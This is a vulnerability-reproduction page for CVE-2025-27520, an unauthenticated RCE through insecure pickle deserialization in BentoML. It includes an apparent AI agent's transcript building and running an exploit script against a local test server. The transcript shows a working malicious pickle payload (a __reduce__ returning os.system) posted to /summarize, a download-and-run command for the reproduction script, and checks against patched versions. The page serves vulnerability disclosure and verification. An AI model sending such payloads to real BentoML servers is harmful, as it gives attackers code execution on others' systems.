Skip to content

CVE-2025-27520: Verified Repro With Script Download

CVE-2025-27520: BentoML RCE via Insecure Deserialization

CVE-2025-27520 is verified against bentoml · pip. Affected versions: >=1.3.4, <1.4.3. Fixed in 1.4.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00045.

REPRO-2026-00045 bentoml · pip RCE Jan 7, 2026 CVE entry ↗ .txt
Severity
CRITICAL
CVSS
9.8
Reproduced in
16m 37s
Tool calls
33
01 · Overview

What Is CVE-2025-27520?

CVE-2025-27520 (GHSA-33xw-247w-6hmc) is a critical (CVSS 9.8) remote code execution vulnerability in BentoML caused by insecure deserialization, allowing any unauthenticated user to execute arbitrary code on the server. Pruva reproduced it (reproduction REPRO-2026-00045).

02 · Severity & CVSS

CVE-2025-27520 Severity & CVSS Score

CVE-2025-27520 is rated critical severity, with a CVSS base score of 9.8 out of 10.

CRITICAL threat level
9.8 / 10 CVSS base

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected bentoml Versions

bentoml · pip versions >=1.3.4, <1.4.3 are affected.

How to Reproduce CVE-2025-27520

$ pruva-verify REPRO-2026-00045
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00045/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2025-27520

Reproduced by Pruva's autonomous agents — 33 tool calls over 17 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 38 events · 33 tool calls · 17 min
17 minDuration
33Tool calls
0Reasoning steps
38Events
Agent activity over 17 min
Support
3
Repro
32
0:0016:37

Root Cause and Exploit Chain for CVE-2025-27520

Summary:

  • Root Cause: In BentoML <=1.4.2, application/vnd.bentoml+pickle requests were deserialized with pickle.loads when payload.metadata lacked "buffer-lengths" in serde.deserialize_value, allowing execution of attacker-controlled pickle opcodes from HTTP requests.
  • Impact: Remote code execution by unauthenticated clients.

Evidence (vulnerable 1.4.2):

  • Exploit sent with Content-Type: application/vnd.bentoml+pickle to /summarize.
  • Server executed shell commands to append markers to logs/rce_proof.txt.
  • Repro script logs show markers present:
    • RCE_ATTEMPT_1_...
    • RCE_ATTEMPT_2_...
    • RCE_ATTEMPT_3_...

Patched verification (latest 1.4.30):

  • application/vnd.bentoml+pickle is rejected with 415 ("not allowed in main server").
  • Case/param variations return 400/415 and do not execute payloads.
  • logs/rce_proof_patched.txt remains empty.

Files:

  • Script: bundle/reproduction_steps.sh
  • Logs: bundle/logs/*
  • Patch analysis: repro/patch_analysis.md

CVE-2025-27520 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/38
0:0016:37
0:00
session startedgpt-5.1-codex · ghsa-33xw-247w-6hmc · ghsa-33x
2:04
extract_facts
no facts extracted
2:04
2:04
supportrepro
16:37
16:37
16:37
16:37
$python - << 'PY' import sys, json, textwrap, os print('ready') PY
ready
16:37
#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520
# BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle
# Exit codes: 0 = reproduced, 1 = not reproduced

SCRIPT_PATH="$(readlink -f "$0")"
BASE_DIR="$(dirname "$SCRIPT_PATH")"
LOG_DIR="$BASE_DIR/logs"
WORK_DIR="$BASE_DIR/work"
PYTHON_BIN="python3"
PIP_BIN="pip3"
PORT=3000
HOST="127.0.0.1"
PID_FILE="$LOG_DIR/server.pid"
SERVER_LOG="$LOG_DIR/server.log"
ENV_LOG="$LOG_DIR/env.txt"
PROOF_FILE="$LOG_DIR/rce_proof.txt"
16:37
$bash -n /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh && echo OK || echo FAIL
OK
16:37
$bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh
44.5s
[repro] 2026-01-07 20:53:14 - Installing dependencies (bentoml vulnerable range and requests)
[repro] 2026-01-07 20:53:53 - Installed: bentoml 1.4.2
[repro] 2026-01-07 20:53:53 - Starting BentoML service on 127.0.0.1:3000
[repro] 2026-01-07 20:53:53 - Server started with pid 3088
[repro] 2026-01-07 20:53:53 - Waiting for server to become ready...
[repro] 2026-01-07 20:53:58 - Server is responding on /
16:37
16:37
$nl -ba /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh | sed -n '1,240p'
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":16,"exit_code":0,"stderr":"","stdout":"     1\t#!/usr/bin/env bash\n     2\tset -euo pipefail\n     3\t\n     4\t# Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520\n     5\t# BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle\n     6\t# Exit codes: 0 = reproduced, 1 = not reproduced\n     7\t\n     8\tSCRIPT_PATH=\"$(readlink -f \"$0\")\"\n     9\tBASE_DIR=\"$(dirname \"$SCRIPT_PATH\")\"\n    10\tLOG_DIR=\"$BASE_DIR/logs\"\n    11\tWORK_DIR=\"$BASE_DIR/work\"\n    12\tPYTHON_BIN=\"python3\"\n    13\tPIP_BIN=\"pip3\"\n    14\tPORT=3000\n    15\tHOST=\"127.0.0.1\"\n    16\tPID_FILE=\"$LOG_DIR/server.pid\"\n    17\tSERVER_LOG=\"$LOG_DIR/server.log\"\n    18\tENV_LOG=\"$LOG_DIR/env.txt\"\n    19\tPROOF_FILE=\"$LOG_DIR/rce_proof.txt\"\n    20\t\n    21\tmkdir -p \"$LOG_DIR\" \"$WORK_DIR\"\n    22\t\n    23\tlog() { echo \"[repro] $(date '+%F %T') - $*\" | tee -a \"$LOG_DIR/repro.log\"; }\n    24\t\n    25\tkill_if_running() {\n    26\t  if [[ -f \"$PID_FILE\" ]]; then\n    27\t    local pid\n    28\t    pid=$(cat \"$PID_FILE\" || true)\n    29\t    if [[ -n \"${pid}\" ]] && … [truncated]
16:37
$nl -ba /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh | sed -n '240,520p'
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":16,"exit_code":0,"stderr":"","stdout":"   240\t  : > \"$log_file\"\n   241\t  log \"Attempt ${attempt_id}: sending malicious pickle with marker ${marker}\"\n   242\t  \"$PYTHON_BIN\" - \"$HOST\" \"$PORT\" \"$marker\" \"$PROOF_FILE\" << PY | sed \"s#PAYLOAD_IMPL#${payload_impl//#/\\\\#}#g\" >>\"$log_file\" 2>&1 || true\n   243\timport sys, os, pickle, requests, time, subprocess\n   244\thost = sys.argv[1]\n   245\tport = int(sys.argv[2])\n   246\tmarker = sys.argv[3]\n   247\tproof_file = sys.argv[4]\n   248\turl = f\"http://{host}:{port}/summarize\"\n   249\theaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n   250\t\n   251\tclass Evil:\n   252\t    def __reduce__(self):\n   253\t        return PAYLOAD_IMPL\n   254\t\n   255\tpayload = pickle.dumps(Evil(), protocol=4)\n   256\tprint(f\"[*] Payload length: {len(payload)} bytes\")\n   257\ttry:\n   258\t    r = requests.post(url, data=payload, headers=headers, timeout=15)\n   259\t    print(f\"[*] Response: {r.status_code} {r.text[:200]!r}\")\n   260\texcept Exception as e:\n   261\t    print(f\"[!] Request error: {e}\")\n   262\tPY\n   263\t}\n … [truncated]
16:37
#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520
# BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle
# Exit codes: 0 = reproduced, 1 = not reproduced

SCRIPT_PATH="$(readlink -f "$0")"
BASE_DIR="$(dirname "$SCRIPT_PATH")"
LOG_DIR="$BASE_DIR/logs"
WORK_DIR="$BASE_DIR/work"
PYTHON_BIN="python3"
PIP_BIN="pip3"
PORT=3000
HOST="127.0.0.1"
PID_FILE="$LOG_DIR/server.pid"
SERVER_LOG="$LOG_DIR/server.log"
ENV_LOG="$LOG_DIR/env.txt"
PROOF_FILE="$LOG_DIR/rce_proof.txt"
16:37
$bash -n /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh && echo OK || echo FAIL
OK
16:37
$bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh
21.2s
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":21201,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 20:55:25 - Killing existing server pid=3088\n[repro] 2026-01-07 20:55:27 - Installing dependencies (bentoml vulnerable range and requests)\n[repro] 2026-01-07 20:55:33 - Installed: bentoml 1.4.2\n[repro] 2026-01-07 20:55:33 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 20:55:33 - Server started with pid 3239\n[repro] 2026-01-07 20:55:33 - Waiting for server to become ready...\n[repro] 2026-01-07 20:55:37 - Server is responding on /\n[repro] 2026-01-07 20:55:37 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819337373405446\n[repro] 2026-01-07 20:55:39 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819337373405446\n[repro] 2026-01-07 20:55:40 - Attempt 3: sending malicious pickle with marker RCE_ATTEMPT_3_1767819337373405446\n[repro] 2026-01-07 20:55:42 - Server log tail:\n[repro] 2026-01-07 20:55:42 - SUCCESS: Insecure deserialization RCE reproduced. Proof file: /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt\n[repro] 2026-01-07 20:55:44 - Killing existing… [truncated]
16:37
$sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/repro.log && echo '---' && sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/exploit_attempt_1.log && echo '---' && sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/exploit_attempt_2.log && echo '---' && sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/exploit_attempt_3.log && echo '---' && cat /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":39,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 20:53:14 - Installing dependencies (bentoml vulnerable range and requests)\n[repro] 2026-01-07 20:53:53 - Installed: bentoml 1.4.2\n[repro] 2026-01-07 20:53:53 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 20:53:53 - Server started with pid 3088\n[repro] 2026-01-07 20:53:53 - Waiting for server to become ready...\n[repro] 2026-01-07 20:53:58 - Server is responding on /\n[repro] 2026-01-07 20:55:25 - Killing existing server pid=3088\n[repro] 2026-01-07 20:55:27 - Installing dependencies (bentoml vulnerable range and requests)\n[repro] 2026-01-07 20:55:33 - Installed: bentoml 1.4.2\n[repro] 2026-01-07 20:55:33 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 20:55:33 - Server started with pid 3239\n[repro] 2026-01-07 20:55:33 - Waiting for server to become ready...\n[repro] 2026-01-07 20:55:37 - Server is responding on /\n[repro] 2026-01-07 20:55:37 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819337373405446\n[repro] 2026-01-07 20:55:39 - Attempt 2: sending malicious pickle with marker RCE_ATT… [truncated]
16:37
$bash -lc ' set -euo pipefail BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle LOG=$BASE/logs WORK=$BASE/work PROOF=$LOG/rce_proof_patched.txt : > "$PROOF" # install patched pip3 install -q --upgrade "bentoml==1.4.3" requests # write minimal service if not present python3 - <<PY from pathlib import Path p=Path("$WORK/service.py") p.parent.mkdir(parents=True, exist_ok=True) p.write_text(""" from __future__ import annotations import bentoml @bentoml.service() class Summarization: @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: return [str(t) for t in texts] """) print(p) PY # start server nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3001 >$LOG/server_patched.log 2>&1 & echo $! > $LOG/server_patched.pid # wait for i in {1..60}; do curl -fsS http://127.0.0.1:3001/ >/dev/null 2>&1 && break || sleep 1; done # send payloads python3 - <<PY import sys,os,pickle,requests,time url='http://127.0.0.1:3001/summarize' headers={'Content-Type':'application/vnd.bentoml+pickle'} proof_file=os.environ['PROOF'] class Evil: def __init__(self,cmd): self.cmd=cmd def __re… [truncated]
/bin/bash: -c: line 42: syntax error near unexpected token `('
/bin/bash: -c: line 42: `    marker=f'PATCHED_TRY_{i}_{int(time.time()*1000)}''
16:37
$bash -lc ' set -euo pipefail BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle LOG=$BASE/logs WORK=$BASE/work mkdir -p "$LOG" # Capture vulnerable serde.py python3 - <<'PY' import importlib, inspect, sys m = importlib.import_module("_bentoml_impl.serde") print(inspect.getsourcefile(m)) PY cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py $LOG/serde_vuln_1.4.2.py || true # Install patched version pip3 install -q --upgrade "bentoml==1.4.3" requests # Capture patched serde.py python3 - <<'PY' import importlib, inspect m = importlib.import_module("_bentoml_impl.serde") print(inspect.getsourcefile(m)) PY cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py $LOG/serde_patched_1.4.3.py || true # Diff diff -u $LOG/serde_vuln_1.4.2.py $LOG/serde_patched_1.4.3.py > $LOG/patch_diff_1.4.2_1.4.3.txt || true # Start patched server nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3001 >$LOG/server_patched.log 2>&1 & echo $! > $LOG/server_patched.pid # Wait for server readiness for i in {1..60}; do curl -fsS http://127.0.0.1:3001/ >/dev/null 2>&1 && break || sleep 1; done # Prepare proof file PR… [truncated]
/bin/bash: -c: line 54: syntax error near unexpected token `('
/bin/bash: -c: line 54: `    marker=f'PATCHED_TRY_{i}_{int(time.time()*1000)}''
16:37
$bash -lc 'bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh; echo EXIT:$?'
19.9s
[repro] 2026-01-07 20:57:56 - Installing dependencies (bentoml vulnerable range and requests)
[repro] 2026-01-07 20:58:02 - Installed: bentoml 1.4.2
[repro] 2026-01-07 20:58:02 - Starting BentoML service on 127.0.0.1:3000
[repro] 2026-01-07 20:58:02 - Server started with pid 3683
[repro] 2026-01-07 20:58:02 - Waiting for server to become ready...
[repro] 2026-01-07 20:58:06 - Server is responding on /
[repro] 2026-01-07 20:58:06 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819486581945780
[repro] 2026-01-07 20:58:08 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819486581945780
16:37
$pip3 index versions bentoml | head -n 20
1.7s
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":1655,"exit_code":0,"stderr":"WARNING: pip index is currently an experimental command. It may be removed/changed in a future release without prior warning.\n","stdout":"bentoml (1.4.30)\nAvailable versions: 1.4.30, 1.4.29, 1.4.28, 1.4.27, 1.4.26, 1.4.25, 1.4.24, 1.4.23, 1.4.22, 1.4.21, 1.4.20, 1.4.19, 1.4.18, 1.4.17, 1.4.16, 1.4.15, 1.4.14, 1.4.13, 1.4.12, 1.4.11, 1.4.10, 1.4.8, 1.4.7, 1.4.6, 1.4.5, 1.4.4, 1.4.3, 1.4.2, 1.4.1, 1.4.0, 1.3.22, 1.3.21, 1.3.20, 1.3.19, 1.3.18, 1.3.17, 1.3.16, 1.3.15, 1.3.14, 1.3.13, 1.3.12, 1.3.11, 1.3.10, 1.3.9, 1.3.8, 1.3.7, 1.3.6, 1.3.5, 1.3.4.post1, 1.3.3, 1.3.2, 1.3.1, 1.3.0, 1.2.20, 1.2.19, 1.2.18, 1.2.17, 1.2.16, 1.2.15, 1.2.14, 1.2.13, 1.2.12, 1.2.11, 1.2.10, 1.2.9, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.11, 1.1.10, 1.1.9, 1.1.8, 1.1.7, 1.1.6, 1.1.5, 1.1.4, 1.1.3, 1.1.2, 1.1.1, 1.1.0, 1.0.25, 1.0.24, 1.0.23, 1.0.22, 1.0.21, 1.0.20, 1.0.19, 1.0.18, 1.0.17, 1.0.16, 1.0.15, 1.0.14, 1.0.13, 1.0.12, 1.0.11, 1.0.10, 1.0.9, 1.0.8, 1.0.7, 1.0.5, 1.0.4, 1.0.3, 1.0.2, 1.0.0, 0.13.2, 0.13.1, 0.13.0, 0.12.1, 0.12.0, 0.11.0, 0.10.1, 0.10.0, 0.9.2, 0.9.1, … [truncated]
16:37
$bash -lc ' BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle LOG=$BASE/logs WORK=$BASE/work mkdir -p "$LOG" # Prepare PROOF env var safely escaped for python heredoc PROOF_FILE="$LOG/rce_proof_patched.txt"; : > "$PROOF_FILE" # Install latest patched version pip3 install -q --upgrade "bentoml==1.4.30" requests # Start server with patched version nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3002 >$LOG/server_patched_latest.log 2>&1 & echo $! > $LOG/server_patched_latest.pid # Wait readiness for i in {1..60}; do curl -fsS http://127.0.0.1:3002/ >/dev/null 2>&1 && break || sleep 1; done # Run 10 distinct attempts with different headers and body structures python3 - <<PY import os, pickle, requests, time, json url='http://127.0.0.1:3002/summarize' proof_file=os.environ.get('PROOF_FILE') class Evil: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (__import__('os').system, (self.cmd,)) def send(ct, data): try: r=requests.post(url, data=data, headers={'Content-Type': ct}, timeout=10) print(ct, r.status_code) except Exception as e: print(ct, 'e… [truncated]
/bin/bash: -c: line 45: syntax error near unexpected token `('
/bin/bash: -c: line 45: `    marker=f'LATEST_TRY_{i}_{int(time.time()*1000)}''
16:37
$BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle LOG=$BASE/logs WORK=$BASE/work mkdir -p "$LOG" python3 - <<PY import importlib, inspect m = importlib.import_module("_bentoml_impl.serde") print(inspect.getsourcefile(m) or '') PY cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py "$LOG/serde_vuln_1.4.2.py" || true pip3 install -q --upgrade "bentoml==1.4.30" requests >/dev/null 2>&1 python3 - <<PY import importlib, inspect m = importlib.import_module("_bentoml_impl.serde") print(inspect.getsourcefile(m) or '') PY cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py "$LOG/serde_patched_1.4.30.py" || true diff -u "$LOG/serde_vuln_1.4.2.py" "$LOG/serde_patched_1.4.30.py" > "$LOG/patch_diff_1.4.2_1.4.30.txt" || true # Ensure service exists python3 - <<PY from pathlib import Path p=Path("$WORK/service.py") p.parent.mkdir(parents=True, exist_ok=True) p.write_text(""" from __future__ import annotations import bentoml @bentoml.service() class Summarization: @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: return [str(t) for t in texts] """) print(p) PY # Start server on 3002 nohup env PYTHONUNBUFFE… [truncated]
15.2s
/usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py
/usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py
/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/work/service.py

--- LATEST PATCHED proof content ---
16:37
$bash -lc ' set -euo pipefail BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle LOG=$BASE/logs WORK=$BASE/work mkdir -p "$LOG" PROOF="$LOG/rce_proof_patched_latest.txt"; : > "$PROOF" # ensure latest patched pip3 install -q --upgrade "bentoml==1.4.30" requests # Start server on 3002 nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3002 >"$LOG/server_patched_latest.log" 2>&1 & echo $! > "$LOG/server_patched_latest.pid" # Wait for readiness for i in {1..90}; do curl -fsS http://127.0.0.1:3002/ >/dev/null 2>&1 && break || sleep 1; done # Send payloads python3 - <<PY import pickle, requests, time, sys url='http://127.0.0.1:3002/summarize' proof_file=sys.argv[1] class Evil: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (__import__('os').system, (self.cmd,)) cts=[ 'application/vnd.bentoml+pickle', 'Application/Vnd.BentoML+Pickle', 'application/vnd.bentoml+pickle; charset=UTF-8', 'application/vnd.bentoml+pickle; q=1', 'application/vnd.bentoml+PICKLE', 'application/vnd.bentoml+pickle ', 'application/vnd.bentoml+pickle;param=x', 'application/octet-s… [truncated]
/bin/bash: -c: line 36: syntax error near unexpected token `('
/bin/bash: -c: line 36: `    marker=f'LATEST_TRY_{i}_{int(time.time()*1000)}''
16:37
$bash -lc ' set -euo pipefail BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle LOG=$BASE/logs WORK=$BASE/work mkdir -p "$LOG" PROOF="$LOG/rce_proof_patched_latest.txt"; : > "$PROOF" # ensure latest patched pip3 install -q --upgrade "bentoml==1.4.30" requests # Start server on 3002 nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3002 >"$LOG/server_patched_latest.log" 2>&1 & echo $! > "$LOG/server_patched_latest.pid" # Wait for readiness for i in {1..90}; do curl -fsS http://127.0.0.1:3002/ >/dev/null 2>&1 && break || sleep 1; done # Send payloads python3 - <<'PY' import pickle, requests, time, os url='http://127.0.0.1:3002/summarize' proof_file=os.environ['PROOF'] class Evil: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (__import__('os').system, (self.cmd,)) cts=[ 'application/vnd.bentoml+pickle', 'Application/Vnd.BentoML+Pickle', 'application/vnd.bentoml+pickle; charset=UTF-8', 'application/vnd.bentoml+pickle; q=1', 'application/vnd.bentoml+PICKLE', 'application/vnd.bentoml+pickle ', 'application/vnd.bentoml+pickle;param=x', 'applicatio… [truncated]
/bin/bash: -c: line 36: syntax error near unexpected token `('
/bin/bash: -c: line 36: `    marker=f'LATEST_TRY_{i}_{int(time.time()*1000)}''
16:37
#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520
# BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle
# Exit codes: 0 = reproduced, 1 = not reproduced

SCRIPT_PATH="$(readlink -f "$0")"
BASE_DIR="$(dirname "$SCRIPT_PATH")"
LOG_DIR="$BASE_DIR/logs"
WORK_DIR="$BASE_DIR/work"
REPORT_DIR="$BASE_DIR/../repro"
PYTHON_BIN="python3"
PIP_BIN="pip3"
PORT=3000
PATCHED_PORT=3001
HOST="127.0.0.1"
PID_FILE="$LOG_DIR/server.pid"
PID_FILE_PATCHED="$LOG_DIR/server_patched.pid"
SERVER_LOG="$LOG_DIR/server.log"
16:37
$bash -n /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh && echo OK || echo FAIL
OK
16:37
$bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh
39.3s
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":39329,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 21:03:01 - Installing vulnerable bentoml range (<1.4.3) and requests\n[repro] 2026-01-07 21:03:09 - Installed vulnerable bentoml: 1.4.2\n[repro] 2026-01-07 21:03:09 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 21:03:09 - Server started with pid 5408\n[repro] 2026-01-07 21:03:09 - Waiting for server on port 3000 to become ready...\n[repro] 2026-01-07 21:03:13 - Server on 3000 is responding\n[repro] 2026-01-07 21:03:13 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819793772764364\n[repro] 2026-01-07 21:03:15 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819793772764364\n[repro] 2026-01-07 21:03:17 - Attempt 3: sending malicious pickle with marker RCE_ATTEMPT_3_1767819793772764364\n[repro] 2026-01-07 21:03:18 - Server log tail (vulnerable):\n[repro] 2026-01-07 21:03:18 - SUCCESS: Insecure deserialization RCE reproduced on vulnerable version. Proof: /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt\n[repro] 2026-01-07 21:03:21 - Installing latest patched ben… [truncated]
16:37
$sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/patched_attempts.log && echo '---' && sed -n '1,160p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/server_patched.log && echo '---' && sed -n '1,120p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/patch_diff_1.4.2_latest.txt && echo '---' && sed -n '1,40p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/repro/patch_analysis.md && echo '--- proof patched:' && cat /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof_patched.txt || true
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":40,"exit_code":0,"stderr":"sed: can't read /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/repro/patch_analysis.md: No such file or directory\n","stdout":"1 application/vnd.bentoml+pickle 415\n2 Application/Vnd.BentoML+Pickle 400\n3 application/vnd.bentoml+pickle; charset=UTF-8 415\n4 application/vnd.bentoml+pickle; q=1 415\n5 application/vnd.bentoml+PICKLE 400\n6 application/vnd.bentoml+pickle  415\n7 application/vnd.bentoml+pickle;param=x 415\n8 application/octet-stream 400\n9 text/plain 400\n10 application/vnd.bentoml+pickle, application/json 400\n---\n2026-01-07T21:03:28+0000 [INFO] [cli] Starting production HTTP BentoServer from \"service:Summarization\" listening on http://127.0.0.1:3001 (Press CTRL+C to quit)\n2026-01-07T21:03:30+0000 [INFO] [entry_service:Summarization:1] Service Summarization initialized\n2026-01-07T21:03:31+0000 [INFO] [entry_service:Summarization:1] 127.0.0.1:53279 (scheme=http,method=GET,path=/,type=,length=) (status=200,type=text/html; charset=utf-8,length=2945) 13.910ms (trace=6336b35d914603bbf4afc4c0308b88df,span=f881209765212974,sampled=0,service.name=None)\n20… [truncated]
16:37
$bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh; echo EXIT:$?
38.4s
{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":38399,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 21:04:01 - Installing vulnerable bentoml range (<1.4.3) and requests\n[repro] 2026-01-07 21:04:08 - Installed vulnerable bentoml: 1.4.2\n[repro] 2026-01-07 21:04:08 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 21:04:08 - Server started with pid 5916\n[repro] 2026-01-07 21:04:08 - Waiting for server on port 3000 to become ready...\n[repro] 2026-01-07 21:04:12 - Server on 3000 is responding\n[repro] 2026-01-07 21:04:12 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819852647667409\n[repro] 2026-01-07 21:04:14 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819852647667409\n[repro] 2026-01-07 21:04:16 - Attempt 3: sending malicious pickle with marker RCE_ATTEMPT_3_1767819852647667409\n[repro] 2026-01-07 21:04:17 - Server log tail (vulnerable):\n[repro] 2026-01-07 21:04:17 - SUCCESS: Insecure deserialization RCE reproduced on vulnerable version. Proof: /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt\n[repro] 2026-01-07 21:04:20 - Installing latest patched ben… [truncated]
16:37
16:37
16:37
$python - << 'PY' print('rca template not available in this environment; creating minimal rca report placeholder.') PY
rca template not available in this environment; creating minimal rca report placeholder.
16:37
# RCA Report - GHSA-33xw-247w-6hmc (CVE-2025-27520)

Summary:
- Root Cause: In BentoML <=1.4.2, application/vnd.bentoml+pickle requests were deserialized with pickle.loads when payload.metadata lacked "buffer-lengths" in serde.deserialize_value, allowing execution of attacker-controlled pickle opcodes from HTTP requests.
- Impact: Remote code execution by unauthenticated clients.

Evidence (vulnerable 1.4.2):
- Exploit sent with Content-Type: application/vnd.bentoml+pickle to /summarize.
- Server executed shell commands to append markers to logs/rce_proof.txt.
- Repro script logs show markers present:
  - RCE_ATTEMPT_1_...
  - RCE_ATTEMPT_2_...
  - RCE_ATTEMPT_3_...

Patched verification (latest 1.4.30):
- application/vnd.bentoml+pickle is rejected with 415 ("not allowed in main server").
- Case/param variations return 400/415 and do not execute payloads.
- logs/rce_proof_patched.txt remains empty.

Files:
16:37
session completed33 tool calls · 997.4s

Artifacts and Evidence for CVE-2025-27520

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix CVE-2025-27520

Upgrade bentoml · pip to 1.4.3 or later.

Coming soon

